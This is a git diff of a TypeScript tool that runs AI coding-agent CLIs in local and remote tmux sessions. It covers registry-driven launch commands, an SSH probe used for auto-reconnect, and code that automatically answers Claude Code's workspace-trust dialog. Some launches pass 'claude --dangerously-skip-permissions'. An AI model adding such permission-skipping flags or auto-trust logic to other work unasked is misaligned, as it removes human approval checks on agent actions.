${REMOTE_LOGIN_SHELL} -i -l`, - // Mirror the LOCAL claude default so the remote agent runs non-interactively - // (no trust-folder/permission prompt that nothing on the remote answers). The - // per-host `commands.claude` override stays the escape hatch. - claude: remoteLoginShellCommand('claude --dangerously-skip-permissions'), - opencode: remoteLoginShellCommand('opencode'), - codex: remoteLoginShellCommand('codex'), - gemini: remoteLoginShellCommand('gemini'), - antigravity: remoteLoginShellCommand('agy'), - pi: remoteLoginShellCommand('pi'), - grok: remoteLoginShellCommand('grok'), - // `dsh` alone boots nothing: the launcher needs a profile, and the remote box's - // profile inventory is unknown here. The per-host `commands.deepseek` override - // is the escape hatch for naming one. - deepseek: remoteLoginShellCommand('dsh'), - }; - return commands[mode as RemoteCommandMode] || commands.shell; + // $SHELL, not a hardcoded bash: sshd sets it from the remote user's /etc/passwd entry, so + // this launches their actual login shell (zsh, fish, …). `-i -l` so it sources rc files, + // matching the local shell-mode launch. Not templatable as overlay data: the shell is + // whatever the REMOTE passwd says, which is why `shell` is the one arm still written here. + const shellCommand = `exec ${REMOTE_LOGIN_SHELL} -i -l`; + const cli = overlayCliCommand(mode, 'remote'); + return cli === null ? shellCommand : remoteLoginShellCommand(cli); } export function remoteSshTarget(host: Pick): string { @@ -263,18 +279,22 @@ export async function checkRemoteTmuxAvailable( } /** - * The CLI binary each session mode runs on the remote host. Antigravity's - * binary is `agy` (the mode name is not the command); shell has no CLI to - * probe, so it is absent. + * The CLI binary a session mode runs on the remote host, read from the registry rather than + * from a hardcoded map. `shell` has no CLI to probe and resolves to undefined, which is what + * makes the probe return null for it. + * + * ⚠️ Deriving this CHANGES BEHAVIOUR, deliberately and in one direction. The map it replaces + * listed claude/opencode/codex/gemini/antigravity/pi/omp and simply omitted `grok` and + * `deepseek` — its own comment said the rule was "every mode except shell", so the two were + * an oversight from when those CLIs were added, not a decision. A remote grok or deepseek + * session therefore reported no version at all. It now probes `grok --version` / + * `dsh --version` through the same login-shell wrapper as its siblings. + * + * (`antigravity` is why this cannot be the mode name: its binary is `agy`.) */ -const REMOTE_CLI_BIN: Partial> = { - claude: 'claude', - opencode: 'opencode', - codex: 'codex', - gemini: 'gemini', - antigravity: 'agy', - pi: 'pi', -}; +function remoteCliBin(mode: SessionMode): string | undefined { + return getCli(mode)?.discovery.binaries[0]; +} /** * Build the SSH command that reads the remote CLI's version (`claude --version` @@ -290,7 +310,7 @@ export function buildRemoteCliVersionProbeCommand( host: Pick & RemoteSshOptions, mode: SessionMode ): string | null { - const bin = REMOTE_CLI_BIN[mode]; + const bin = remoteCliBin(mode); if (!bin) return null; return [ ...buildSshConnectionArgs(host), @@ -326,6 +346,84 @@ export async function probeRemoteCliVersion( } } +/** + * COD-108 — build the SSH command that asks whether THIS Codeman's durable + * remote tmux session (`-L codeman-remote -s codeman-ssh-`) is still alive + * on the remote host. + * + * `has-session` exits 0 when the session exists, non-zero otherwise (and + * stderr is swallowed). Connection options come from the shared + * `buildSshConnectionArgs` so this probe reaches exactly the hosts the launch + * can reach — same port/identity/proxy/jump-host as `buildRemoteLaunchCommand`. + */ +export function buildRemoteSessionAliveCommand( + host: Pick & RemoteSshOptions, + remoteSessionName: string +): string { + const [ssh, ...connectionArgs] = buildSshConnectionArgs(host); + const remoteCmd = `tmux -L codeman-remote has-session -t ${shellescape(remoteSessionName)} 2>/dev/null`; + return [ssh, ...connectionArgs, remoteSshTarget(host), shellescape(remoteCmd)].join(' '); +} + +/** + * COD-108 — resolve whether THIS Codeman's durable remote tmux session is still + * alive on the remote host, for the auto-reconnect watcher. + * + * Returns: + * - `true` → the remote tmux session exists (the agent is still running + * on the remote; the LOCAL pane died from a transport drop → + * safe to auto-reconnect). + * - `false` → the remote session is gone (the agent exited cleanly and + * the remote tmux tore down; reviving would relaunch a fresh + * agent — must NOT auto-reconnect). + * - `undefined` → probe failed (host unreachable, ssh error, tmux missing). + * Callers MUST treat this as "do not reconnect": an + * unreachable host is not a reason to relaunch the agent. + * + * VITEST guard — returns `true` under test so a real ssh never runs; the + * command construction is covered by `buildRemoteSessionAliveCommand`. + */ +export async function remoteTmuxSessionAlive( + remote: Pick & RemoteSshOptions, + remoteSessionName: string +): Promise { + if (process.env.VITEST) return true; + const command = buildRemoteSessionAliveCommand(remote, remoteSessionName); + try { + await execAsync(command, { timeout: 15_000 }); + return classifyRemoteAliveExit(0, false); + } catch (err) { + const e = err as { code?: unknown; killed?: boolean }; + return classifyRemoteAliveExit(typeof e.code === 'number' ? e.code : null, e.killed === true); + } +} + +/** + * Map the `has-session` probe's exit status onto the tri-state the watcher + * reads. Pure, so the mapping is unit-tested even though the probe itself is + * VITEST-guarded. + * + * ⚠️ `tmux has-session` prints NOTHING on success (measured: exit 0, empty + * stdout; the failure message goes to stderr), so the exit status is the ONLY + * signal. An earlier version read stdout and therefore classified every live + * remote session as gone, which silently disabled transport-drop reconnects. + * + * - exit 0 → the durable remote session exists → `true`. + * - exit 255 is ssh's own failure (unreachable host, auth, proxy/jump error) + * and a timeout arrives as `killed` with no numeric code: we learned + * nothing about the session → `undefined`, which the watcher treats as + * "do not revive". + * - any other non-zero status is the REMOTE command's: tmux's 1 for a missing + * session, or 127 when tmux is not installed there (no durable session can + * exist without it) → `false`. + */ +export function classifyRemoteAliveExit(code: number | null, killed: boolean): boolean | undefined { + if (killed) return undefined; + if (code === 0) return true; + if (code === null || code === 255) return undefined; + return false; +} + /** * COD-105 — build the SSH command that lists `codeman-*` tmux sessions on a * remote host's canonical `-L codeman` socket. diff --git a/src/remote-reconnect.ts b/src/remote-reconnect.ts index 6e5a709a..bbcfcd86 100644 --- a/src/remote-reconnect.ts +++ b/src/remote-reconnect.ts @@ -108,6 +108,15 @@ export interface ReconnectSessionView { isRemote: boolean; /** Result of `isPaneDead(muxName)` for this session. */ paneDead: boolean; + /** + * Whether the DURABLE remote tmux session is still alive on the remote host. + * Tri-state: `true` = transport drop with the agent still running (safe to + * reattach); `false` = the remote session is gone (the agent exited cleanly + * via ctrl-c/ctrl-d/exit and the remote tmux tore down); `undefined` = + * unknown/unresolvable. The watcher must NOT revive when the remote session + * is gone or unknown — a clean exit must never auto-relaunch the agent. + */ + remoteAlive: boolean | undefined; } /** @@ -130,7 +139,8 @@ export type ReconnectSkipReason = | 'in-flight' | 'not-due' | 'exhausted' - | 'disabled'; + | 'disabled' + | 'remote-gone'; export interface DecideReconnectInput { session: ReconnectSessionView; @@ -166,6 +176,14 @@ export function decideReconnect(input: DecideReconnectInput): ReconnectAction { if (!session.paneDead) return { kind: 'skip', reason: 'pane-alive' }; // Intentional kill / detach must NEVER be auto-revived. if (guarded) return { kind: 'skip', reason: 'guarded' }; + // A clean exit tears down the durable remote tmux (the session's only pane + // exiting destroys it). Reviving is ONLY correct for a transport drop: the + // agent is still running on the remote, so the durable session must still + // exist. When it is gone (or status is unknown — probe failed/unreachable), + // the agent exited intentionally and must not be auto-relaunched (found + // live 2026-08-29: remote omp/opencode ctrl-c/ctrl-d auto-respawned fresh + // sessions; only claude's `|| --resume` accidentally masked it). + if (session.remoteAlive !== true) return { kind: 'skip', reason: 'remote-gone' }; const s = state ?? freshReconnectState(); diff --git a/src/services/unified-session-service.ts b/src/services/unified-session-service.ts index f83e89c4..209d4a59 100644 --- a/src/services/unified-session-service.ts +++ b/src/services/unified-session-service.ts @@ -99,6 +99,13 @@ export type HistoryInput = { gitBranch?: string; worktreeName?: string; worktreeRepo?: string; + /** + * Set only by a non-claude transcript source (currently omp); the Claude + * scanner never stamps this; the meaningfulness floor below still counts a + * row with a `mode` as real, since that also signals "not claude" — see + * where it's read below for the isReal check this touches. + */ + mode?: string; }; /** Mux process-stat view. */ @@ -175,6 +182,10 @@ export function mergeUnifiedSessions(sources: UnifiedSources): UnifiedSessionIte overwrite(item, 'gitBranch', h.gitBranch); overwrite(item, 'worktreeName', h.worktreeName); overwrite(item, 'worktreeRepo', h.worktreeRepo); + // Claude rows never set this (they're implicitly claude); a non-claude + // transcript source (currently only omp) does, so a history-only row + // still gets a mode badge instead of reading as claude by default. + overwrite(item, 'mode', h.mode); const ms = Date.parse(h.lastModified); if (!Number.isNaN(ms) && item.lastActivityAt === undefined) item.lastActivityAt = ms; } diff --git a/src/session-cli-registry-bridge.ts b/src/session-cli-registry-bridge.ts new file mode 100644 index 00000000..d49e2447 --- /dev/null +++ b/src/session-cli-registry-bridge.ts @@ -0,0 +1,202 @@ +/** + * @fileoverview Bridges the legacy per-mode spawn options (`buildSpawnCommand`'s option bag + * in tmux-manager.ts, unchanged on the wire since before this registry existed) onto the CLI + * registry's generic argv engine (`renderLaunch`). + * + * The per-mode `Config` objects on `POST /api/sessions` predate the registry and stay + * on the wire for API compatibility (`docs/versioning-policy.md`), so SOMETHING has to know + * which field holds which CLI's config. That knowledge is DATA — `launch.legacyConfigField` + * and `launch.legacyConfigAliases`, declared once per entry in `config/cli-registry/stock.ts` + * — which is what lets this file stay a generic reader rather than a `switch (mode)`. + * + * An entry declaring NO `legacyConfigField` reads its params straight off the top-level + * option bag. That is claude, whose discrete `claudeMode`/`allowedTools`/`model`/ + * `resumeSessionId` fields predate the `Config` pattern — not a special case for + * claude, just the other of the two shapes the wire has always had. + * + * @module session-cli-registry-bridge + */ + +import type { CliEntry } from './config/cli-registry/types.js'; +import { renderLaunch, type EngineValues, type ParamValues } from './config/cli-registry/argv.js'; +import { matchesPattern } from './config/cli-registry/patterns.js'; +import { buildEffortCliArgs, sanitizeCliSessionName } from './session-cli-builder.js'; +import { compareVersions } from './utils/dependency-checker.js'; +import { getClaudeCliVersion } from './utils/claude-cli-resolver.js'; +import { launcherDefaultTarget } from './utils/cli-launcher.js'; +import { getCli } from './config/cli-registry/registry.js'; +import type { + AntigravityConfig, + ClaudeMode, + CodexConfig, + DeepSeekConfig, + EffortLevel, + GeminiConfig, + GrokConfig, + OmpConfig, + OpenCodeConfig, + PiConfig, +} from './types/session.js'; + +export interface SpawnBridgeOptions { + mode: string; + sessionId: string; + model?: string; + claudeMode?: ClaudeMode; + allowedTools?: string; + openCodeConfig?: OpenCodeConfig; + codexConfig?: CodexConfig; + geminiConfig?: GeminiConfig; + antigravityConfig?: AntigravityConfig; + piConfig?: PiConfig; + grokConfig?: GrokConfig; + deepSeekConfig?: DeepSeekConfig; + ompConfig?: OmpConfig; + resumeSessionId?: string; + effort?: EffortLevel; + sessionName?: string; + claudeCliVersion?: string | null; +} + +/** + * The raw legacy config object this entry's params should be read from: the declared + * `Config` field, or the option bag itself when none is declared. + */ +function legacyConfigFor(entry: CliEntry, options: SpawnBridgeOptions): Record | undefined { + const field = entry.launch.legacyConfigField; + if (field === undefined) return options as unknown as Record; + return (options as unknown as Record)[field] as Record | undefined; +} + +/** + * Same lookup, addressed by mode rather than by entry, for callers holding only a mode and an + * option bag (tmux-manager's env configuration). Returns undefined for an unregistered mode. + */ +export function legacyConfigForMode( + mode: string, + options: Record +): Record | undefined { + const entry = getCli(mode); + if (!entry) return undefined; + return legacyConfigFor(entry, options as unknown as SpawnBridgeOptions); +} + +/** + * Build `ParamValues` for every declared `token`/`bool`/`enum` param by reading it out of the + * legacy config object through `legacyConfigAliases` (falling back to the param's own name). + * `engine`-sourced params are skipped — those come from `EngineValues`, never legacy config. + */ +function buildParamsFromLegacyConfig(entry: CliEntry, rawConfig: Record | undefined): ParamValues { + const params: ParamValues = {}; + if (!rawConfig) return params; + const aliases = entry.launch.legacyConfigAliases ?? {}; + for (const [paramName, spec] of Object.entries(entry.launch.params)) { + if (spec.type === 'engine') continue; + const legacyKey = aliases[paramName] ?? paramName; + const value = rawConfig[legacyKey]; + if (value === undefined) continue; + // Anything that is not already a string or boolean is DROPPED rather than coerced: the + // wire shape is Zod-validated upstream, so a surprise here means something is wrong, + // and `String({})` would happily produce a token nobody intended. + if (typeof value === 'string' || typeof value === 'boolean') { + params[paramName] = value; + } + } + return params; +} + +/** + * The env vars this CLI declares in `env.configSetenv`, resolved from its legacy config + * object — i.e. the ones whose value comes from the CALLER rather than the server's own + * environment. + * + * ⚠️ Re-validated here against the declared `ParamSpec` even though the wire shape is already + * Zod-checked upstream. These values reach `tmux setenv`, and for DeepSeek the value IS a + * permission level: a builder must never trust its caller on a security-relevant field, and + * the cost of re-checking an enum is nothing. + * + * A value that fails validation is DROPPED, not defaulted — which is the safe direction: the + * var goes unset, and the CLI falls back to its own default (for dsh, `workspace-write`, + * which asks) rather than to something we guessed. + */ +export function configSetenvValues( + entry: CliEntry, + rawConfig: Record | undefined +): Record { + const out: Record = {}; + const mappings = entry.env.configSetenv; + if (!mappings || !rawConfig) return out; + const aliases = entry.launch.legacyConfigAliases ?? {}; + for (const { name, fromParam } of mappings) { + const spec = entry.launch.params[fromParam]; + if (!spec) continue; // schema-validated at load; belt and braces + const raw = rawConfig[aliases[fromParam] ?? fromParam]; + if (typeof raw !== 'string') continue; + if (spec.type === 'enum' && !spec.values.includes(raw)) continue; + if (spec.type === 'token' && !matchesPattern(spec.pattern, raw)) continue; + out[name] = raw; + } + return out; +} + +/** + * Which `capabilities.gates` are currently satisfied. `resolveVersion` is called AT MOST + * ONCE, and only when the entry actually declares a gate — a `--version` subprocess probe + * has no reason to run for an entry with none. + */ +function resolveGatesPassed(entry: CliEntry, resolveVersion: () => string | null): Set { + const passed = new Set(); + const gateEntries = Object.entries(entry.capabilities.gates); + if (gateEntries.length === 0) return passed; + const cliVersion = resolveVersion(); + if (!cliVersion) return passed; // fail-closed: an unknown version satisfies no gate + for (const [name, gate] of gateEntries) { + if (compareVersions(cliVersion, gate.minVersion) >= 0) passed.add(name); + } + return passed; +} + +/** + * Render the spawn command for `entry` from the legacy option bag. Returns `undefined` for a + * `shell`-kind entry (or any entry declaring no launch variants), which callers take as "fall + * back to the local login-shell resolution" — shell has no CLI to template. + */ +export function buildSpawnCommandFromRegistry(entry: CliEntry, options: SpawnBridgeOptions): string | undefined { + if (entry.kind === 'shell' || entry.launch.variants.length === 0) return undefined; + + const params = buildParamsFromLegacyConfig(entry, legacyConfigFor(entry, options)); + + const engineValues: EngineValues = { + sessionId: options.sessionId, + // Allowlist-sanitized (Unicode letters/digits + ` . _ : -`, 64 chars), matching + // buildNameCliArgs exactly — sanitizeCliSessionName is the injection guard for this + // value, NOT the `quote: 'double'` escaping on the --name arg (which only makes an + // unsafe value inert, it does not launder one into something meaningful). + sessionName: sanitizeCliSessionName(options.sessionName), + }; + + // Only a launcher CLI has one, and resolving it means a filesystem scan of the launcher's + // profile tree, so skip the lookup entirely for the eight entries that declare no profile. + if (entry.discovery.launcherProfile !== undefined) { + engineValues.launcherDefaultTarget = launcherDefaultTarget(entry) ?? undefined; + } + + // Mirrors buildEffortCliArgs exactly: ultracode carries a fixed settings blob, every other + // level rides a plain `--effort ` flag. Reusing the canonical builder here (rather + // than re-deriving the ultracode special case) keeps the EFFORT_LEVELS allowlist and the + // settings-JSON shape single-sourced in session-cli-builder.ts. + const [effortFlag, effortValue] = buildEffortCliArgs(options.effort); + if (effortFlag === '--settings') engineValues.effortSettingsJson = effortValue; + else if (effortFlag === '--effort') engineValues.effortLevel = effortValue; + + // Preserves buildSpawnCommand's original fallback exactly: an EXPLICIT `undefined` probes + // the local claude CLI (getClaudeCliVersion, null under vitest); an explicit `null` means + // "known to be unresolvable" and must not probe. The probe only ever runs from + // resolveGatesPassed, and only for an entry that actually declares a gate, so this stays + // generic without spawning a stray `claude --version` for every other CLI's launch. + const gatesPassed = resolveGatesPassed(entry, () => + options.claudeCliVersion !== undefined ? options.claudeCliVersion : getClaudeCliVersion() + ); + + return renderLaunch(entry.launch, params, engineValues, gatesPassed); +} diff --git a/src/session-trust-dialog.ts b/src/session-trust-dialog.ts index ff7e2db0..e6402f34 100644 --- a/src/session-trust-dialog.ts +++ b/src/session-trust-dialog.ts @@ -1,16 +1,32 @@ /** - * @fileoverview Recognizing Claude Code's workspace-trust dialog on screen. + * @fileoverview Recognizing Claude Code's workspace-trust dialog on screen, and + * working out which keystroke answers it. * - * Claude asks once per directory before it will read or edit anything: + * Claude asks once per directory before it will read or edit anything. The + * layout has changed under us at least twice; both of these are live shapes: * - * Quick safety check: Is this a project you created or one you trust? ... + * Quick safety check: Is this a project you created or one you trust? ... (<= 2.1.220) * ❯ 1. Yes, I trust this folder * 2. No, exit * Enter to confirm · Esc to cancel * + * Quick safety check: Is this a project you created or one you trust? ... (2.1.252) + * Security guide + * ❯ No, exit + * Yes, I trust this folder + * Enter to confirm · Esc to cancel + * * Codeman sessions run permission-skipping or classifier-guarded modes, so the * answer is always yes, and a session parked on this dialog is simply stuck. * + * ⚠️ **Never press Enter without reading the selection.** The options are now + * unnumbered, REVERSED, and the highlighted default is "No, exit" — so the blind + * `\r` that answered the old layout picks *exit* on the new one and the pane + * dies (`Pane is dead (status 1)`) seconds after the session starts, which is + * exactly what a fresh case did on Claude Code 2.1.252. `trustDialogNextKey()` + * reads the `❯` marker instead and moves the cursor onto the trust option before + * it confirms anything. + * * **Why the text has to be compacted.** tmux repaints a row by writing each word * and then a cursor-forward (`\x1b[C`) instead of a space, and Ink colours each * word separately, so the wire carries `I\x1b[Ctrust\x1b[Cthis\x1b[Cfolder`. @@ -39,6 +55,25 @@ const TRUST_PHRASES = [ /** The dialog's own affordances. Prose that quotes the question will not have these. */ const CONFIRM_PHRASES = ['entertoconfirm', 'esctocancel', '2.no,exit']; +/** The option that answers yes, compacted. Identical text in both layouts. */ +const YES_OPTION = 'yes,itrustthisfolder'; + +/** The option that quits Claude. It is the highlighted DEFAULT since 2.1.252. */ +const NO_OPTION = 'no,exit'; + +/** Ink's selection marker. The only marked row while the dialog is up. */ +const SELECTION_MARK = '❯'; + +/** A numbered option's `1.` / `2.` prefix, which the 2.1.220 layout put after the marker. */ +const OPTION_NUMBER_PREFIX = /^\d+\./; + +/** Move the selection one row down / up. Literal, so `send-keys -l` carries them. */ +export const TRUST_KEY_DOWN = '\x1b[B'; +export const TRUST_KEY_UP = '\x1b[A'; + +/** Confirm the highlighted option. */ +export const TRUST_KEY_CONFIRM = '\r'; + /** * Charset-select sequences (`ESC ( B`), which tmux emits around styled runs and * `stripAnsi` does not cover. Left in, they would land inside a phrase as a @@ -65,6 +100,50 @@ export function isTrustDialogScreen(text: string): boolean { return TRUST_PHRASES.some((p) => compact.includes(p)) && CONFIRM_PHRASES.some((p) => compact.includes(p)); } +/** + * Which option the `❯` marker sits on, or null when this text does not say. + * + * The LAST marked option wins. A pane capture holds exactly one frame and so + * exactly one marker, but the direct-PTY fallback reads an append-only buffer + * where every repaint since launch is still present — there the freshest frame + * is the one at the end, and an older one must not out-vote it. + */ +function selectedTrustOption(compact: string): { at: number; option: 'yes' | 'no' } | null { + let selected: { at: number; option: 'yes' | 'no' } | null = null; + for (let at = compact.indexOf(SELECTION_MARK); at >= 0; at = compact.indexOf(SELECTION_MARK, at + 1)) { + const after = compact.slice(at + SELECTION_MARK.length).replace(OPTION_NUMBER_PREFIX, ''); + if (after.startsWith(YES_OPTION)) selected = { at, option: 'yes' }; + else if (after.startsWith(NO_OPTION)) selected = { at, option: 'no' }; + } + return selected; +} + +/** + * The single keystroke that moves this dialog one step closer to "yes", or null + * when the screen does not show clearly enough to touch. + * + * One step per call on purpose: the caller re-reads the screen between + * keystrokes, so a moved cursor is CONFIRMED before Enter is pressed rather than + * assumed. Firing arrow+Enter together would re-create the failure this exists + * to prevent whenever the arrow is dropped (Ink drops keystrokes while it is + * still mounting a widget) — the Enter would then land on "No, exit". + * + * Returning null is the safe answer, not a failure: an unreadable frame means + * wait for the next repaint, and a layout whose options this cannot name means + * leave the dialog to the human. The caller's startup window bounds the waiting. + */ +export function trustDialogNextKey(text: string): string | null { + const compact = compactScreenText(text); + if (!compact.includes(YES_OPTION)) return null; // no trust option to steer onto + const selected = selectedTrustOption(compact); + if (!selected) return null; // marker missing, or not on an option we recognize + if (selected.option === 'yes') return TRUST_KEY_CONFIRM; + // On "No, exit". Which way the trust option lies is read from THIS frame — it + // sits below in 2.1.252 and above in the numbered layout before it — so the + // order flipping again costs a repaint, not a killed session. + return compact.includes(YES_OPTION, selected.at) ? TRUST_KEY_DOWN : TRUST_KEY_UP; +} + /** * How long after the pane starts the dialog is still plausible. It renders * before the main UI, so this only has to cover a slow first launch; leaving it @@ -72,16 +151,21 @@ export function isTrustDialogScreen(text: string): boolean { */ export const TRUST_DIALOG_WINDOW_MS = 90_000; -/** Minimum gap between two Enter presses, and between two screen reads. */ +/** Minimum gap between two keystrokes, and between two screen reads. */ export const TRUST_DIALOG_RETRY_MS = 1500; /** - * Attempts before giving up and leaving the dialog to the user. A keystroke can - * land while Ink is still mounting the widget and be dropped, which is the other - * half of why sessions got stuck here; retrying costs nothing, but retrying - * forever would hammer Enter into whatever came next. + * Keystrokes before giving up and leaving the dialog to the user. A keystroke + * can land while Ink is still mounting the widget and be dropped, which is the + * other half of why sessions got stuck here; retrying costs nothing, but + * retrying forever would hammer Enter into whatever came next. + * + * Six rather than three because answering is no longer one press: the 2.1.252 + * layout needs an arrow onto the trust option and then Enter, each confirmed + * against a re-read of the screen, so a cap of three left only one dropped + * keystroke of slack. */ -export const TRUST_DIALOG_MAX_ATTEMPTS = 3; +export const TRUST_DIALOG_MAX_ATTEMPTS = 6; /** * How much of the append-only terminal buffer to read on a direct-PTY session, diff --git a/src/session.ts b/src/session.ts index 34ac7b30..1598df90 100644 --- a/src/session.ts +++ b/src/session.ts @@ -53,9 +53,11 @@ import { type PiConfig, type GrokConfig, type DeepSeekConfig, + type OmpConfig, type SessionRemote, type SessionDocker, } from './types.js'; +import { resolveAndClaimOmpSessionId } from './utils/omp-session-resolver.js'; import { probeDockerCliVersion } from './docker-hosts.js'; import { probeRemoteCliVersion } from './remote-hosts.js'; import type { TerminalMultiplexer, MuxSession } from './mux-interface.js'; @@ -64,6 +66,8 @@ import { RalphTracker } from './ralph-tracker.js'; import { BashToolParser } from './bash-tool-parser.js'; import { isTrustDialogScreen, + trustDialogNextKey, + TRUST_KEY_CONFIRM, TRUST_DIALOG_WINDOW_MS, TRUST_DIALOG_RETRY_MS, TRUST_DIALOG_MAX_ATTEMPTS, @@ -101,6 +105,8 @@ import { } from './config/buffer-limits.js'; import { DEFAULT_TMUX_HISTORY_LIMIT } from './config/terminal-history.js'; import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js'; +import { getCli } from './config/cli-registry/registry.js'; +import { resolveSessionCliVersion } from './utils/cli-resolver.js'; import { buildInteractiveArgs, buildPromptArgs, @@ -171,40 +177,50 @@ const CTRL_L_PATTERN = /\x0c/g; /** Pattern to split by newlines (CR or LF) */ const NEWLINE_SPLIT_PATTERN = /\r?\n/; -/** True for external-CLI run modes (non-Claude) that use their own TUI and output format. */ +/** + * True for external-CLI run modes (non-Claude) that use their own TUI and output format: + * no Claude transcript, no hooks, no Claude-format token/BashTool parsing. + * + * ⚠️ Reads its OWN capability flag rather than being derived from `hooks` or `kind`, and + * that independence is load-bearing. `shell` has no hooks but is NOT external, so a + * predicate derived from hooks would sweep it in here; `deepseek` HAS hooks but IS + * external. Deriving one of these three predicates from another has already shipped a bug + * (see CliCapabilities' own doc comment), which is why they are three separate fields. + * + * An UNREGISTERED mode is treated as external — the conservative answer, since it disables + * Claude-specific parsing rather than pointing it at output that was never Claude's. + */ export function isExternalCliMode(mode: SessionMode): boolean { - return ( - mode === 'opencode' || - mode === 'codex' || - mode === 'gemini' || - mode === 'antigravity' || - mode === 'pi' || - mode === 'grok' || - mode === 'deepseek' - ); + return getCli(mode)?.capabilities.external ?? true; } +/** Display name for a run mode. Falls back to the raw id for an unregistered one. */ function getModeLabel(mode: SessionMode): string { - switch (mode) { - case 'opencode': - return 'OpenCode'; - case 'codex': - return 'Codex'; - case 'gemini': - return 'Gemini'; - case 'antigravity': - return 'Antigravity'; - case 'pi': - return 'Pi'; - case 'grok': - return 'Grok'; - case 'deepseek': - return 'DeepSeek'; - case 'shell': - return 'Shell'; - case 'claude': - return 'Claude'; - } + return getCli(mode)?.label ?? mode; +} + +/** + * Does this CLI's launch spec gate anything on its own version? + * + * Only such a CLI needs its version probed at session start — probing one with no gates + * would spawn a `--version` subprocess whose answer nothing reads. Today that is claude + * (the `--name` flag, gated at 2.1.224), which is why the probe used to be written as + * `mode === 'claude'`. + */ +function cliNeedsVersionProbe(mode: SessionMode): boolean { + return Object.keys(getCli(mode)?.capabilities.gates ?? {}).length > 0; +} + +/** + * Does this CLI ask for `COLORTERM=truecolor`? + * + * Read off the SAME `env.exports` list that `buildEnvExports()` emits into the tmux + * session, so the attach client and the pane cannot disagree about colour depth. These + * used to be two hand-maintained lists of mode names in two files that had to be edited + * together, with a comment in each asking the next person to remember. + */ +function cliExportsTruecolor(mode: SessionMode): boolean { + return (getCli(mode)?.env.exports ?? []).some((entry) => entry.name === 'COLORTERM' && entry.value === 'truecolor'); } /** @@ -233,7 +249,7 @@ function getModeLabel(mode: SessionMode): string { * vim inside a tmux `shell` session. */ export function isAltScreenStripMode(mode: SessionMode): boolean { - return mode === 'codex' || mode === 'claude' || mode === 'gemini'; + return getCli(mode)?.capabilities.altScreen === 'strip-full'; } /** @@ -450,8 +466,9 @@ export class Session extends EventEmitter { private _lastPaneProbeAt = 0; // Throttle for the tmux screen probe private _lastPaneProbeWorking: boolean | null = null; // Its last verdict (null = could not read) private _trustDialogAccepted: boolean = false; // Stops the trust-dialog scan (answered, or given up) - private _trustDialogAttempts = 0; // Enter presses sent at the trust dialog + private _trustDialogAttempts = 0; // Keystrokes sent at the trust dialog private _lastTrustDialogScanAt = 0; // Throttle for the trust-dialog screen read + private _trustDialogTimer: NodeJS.Timeout | null = null; // Re-read after a keystroke (see below) private _interactiveStartedAt = 0; // When the interactive pane launched (bounds that scan) private _taskTracker: TaskTracker; @@ -528,6 +545,8 @@ export class Session extends EventEmitter { // DeepSeek Harness configuration (only for mode === 'deepseek') private _deepSeekConfig: DeepSeekConfig | undefined; + // OMP configuration (only for mode === 'omp') + private _ompConfig: OmpConfig | undefined; private _resumeSessionId: string | undefined; // Ephemeral env overrides (e.g., CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS). Exported by tmux @@ -627,6 +646,8 @@ export class Session extends EventEmitter { grokConfig?: GrokConfig; /** DeepSeek Harness configuration (only for mode === 'deepseek') */ deepSeekConfig?: DeepSeekConfig; + /** OMP configuration (only for mode === 'omp') */ + ompConfig?: OmpConfig; /** Resume a previous Claude conversation (used after server reboot) */ resumeSessionId?: string; /** Extra env vars exported to the CLI at spawn time (no disk persistence) */ @@ -682,7 +703,13 @@ export class Session extends EventEmitter { this._wireActivityAt = config.lastActivityAt || Date.now(); this._wireActivitySettleUntil = config.lastActivityAt ? Date.now() + WIRE_ACTIVITY_SETTLE_MS : 0; // Set claudeSessionId — when resuming, the Claude conversation ID is the resumed one. - this._claudeSessionId = config.resumeSessionId || this.id; + // For omp, `claudeSessionId` doubles as the generic "external transcript id" + // alias key mergeUnifiedSessions() folds a history row into its owning + // session by: omp mints its OWN uuid, unrelated to this Codeman id, so + // without this an omp conversation's Past-Sessions row (keyed by omp's + // id) would never merge with its own live/persisted row (keyed by this + // id) — it would just show up a second time. + this._claudeSessionId = config.resumeSessionId || config.ompConfig?.resumeSessionId || this.id; // Restored from state.json on boot recovery. start() resets _claudeSessionId // to the launch id even when re-attaching to a mux session whose CLI has // moved on (a `/clear` before the restart), so this anchor is what lets the @@ -735,6 +762,10 @@ export class Session extends EventEmitter { if (config.piConfig) { this._piConfig = config.piConfig; } + // Apply OMP configuration + if (config.ompConfig) { + this._ompConfig = config.ompConfig; + } // Apply DeepSeek Harness configuration if (config.deepSeekConfig) { @@ -1368,6 +1399,7 @@ export class Session extends EventEmitter { piConfig: this._piConfig, grokConfig: this._grokConfig, deepSeekConfig: this._deepSeekConfig, + ompConfig: this._ompConfig, resumeSessionId: this._resumeSessionId, effort: this._effort, // COD-118: runtime-only — surfaced so the frontend can require explicit user @@ -1494,7 +1526,11 @@ export class Session extends EventEmitter { let needsNewSession = false; if (this._muxSession && mux.isPaneDead(this._muxSession.muxName)) { console.log('[Session] Dead pane detected, respawning:', this._muxSession.muxName); - const newPid = await mux.respawnPane(options.respawnPaneOptions); + // Confirmed dead — safe to resolve/pin now (see `_pinOmpRespawnId()`). + // `options.respawnPaneOptions` was built eagerly before this dead-pane + // check ran, so it still carries the pre-pin ompConfig; rebuild it. + this._pinOmpRespawnId(); + const newPid = await mux.respawnPane(this._buildRespawnPaneOptions()); if (!newPid) { console.error('[Session] Failed to respawn pane, will create new session'); needsNewSession = true; @@ -1537,16 +1573,11 @@ export class Session extends EventEmitter { cols: ptyCols, rows: ptyRows, cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker), - // COD-75: codex/gemini/antigravity/pi get COLORTERM=truecolor — mirrors buildEnvExports() - // in tmux-manager.ts so the attach client and the tmux session agree. - env: buildMuxAttachEnv( - this.mode === 'codex' || - this.mode === 'gemini' || - this.mode === 'antigravity' || - this.mode === 'pi' || - this.mode === 'grok' || - this.mode === 'deepseek' - ), + // COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH + // client too. Both sides read the same registry entry, which is what stops the + // attach client and the tmux session from disagreeing — they used to be two + // hand-maintained lists of mode names that had to be edited in lockstep. + env: buildMuxAttachEnv(cliExportsTruecolor(this.mode)), }) ); } catch (spawnErr) { @@ -1585,6 +1616,9 @@ export class Session extends EventEmitter { return false; } + // Confirmed the mux session (and thus the pane) exists but this reattach + // is about to respawn it — safe to resolve/pin now. + this._pinOmpRespawnId(); const newPid = await mux.respawnPane(this._buildRespawnPaneOptions()); if (!newPid) { console.error('[Session] reattachRemote: respawnPane failed for', this._muxSession.muxName); @@ -1617,6 +1651,16 @@ export class Session 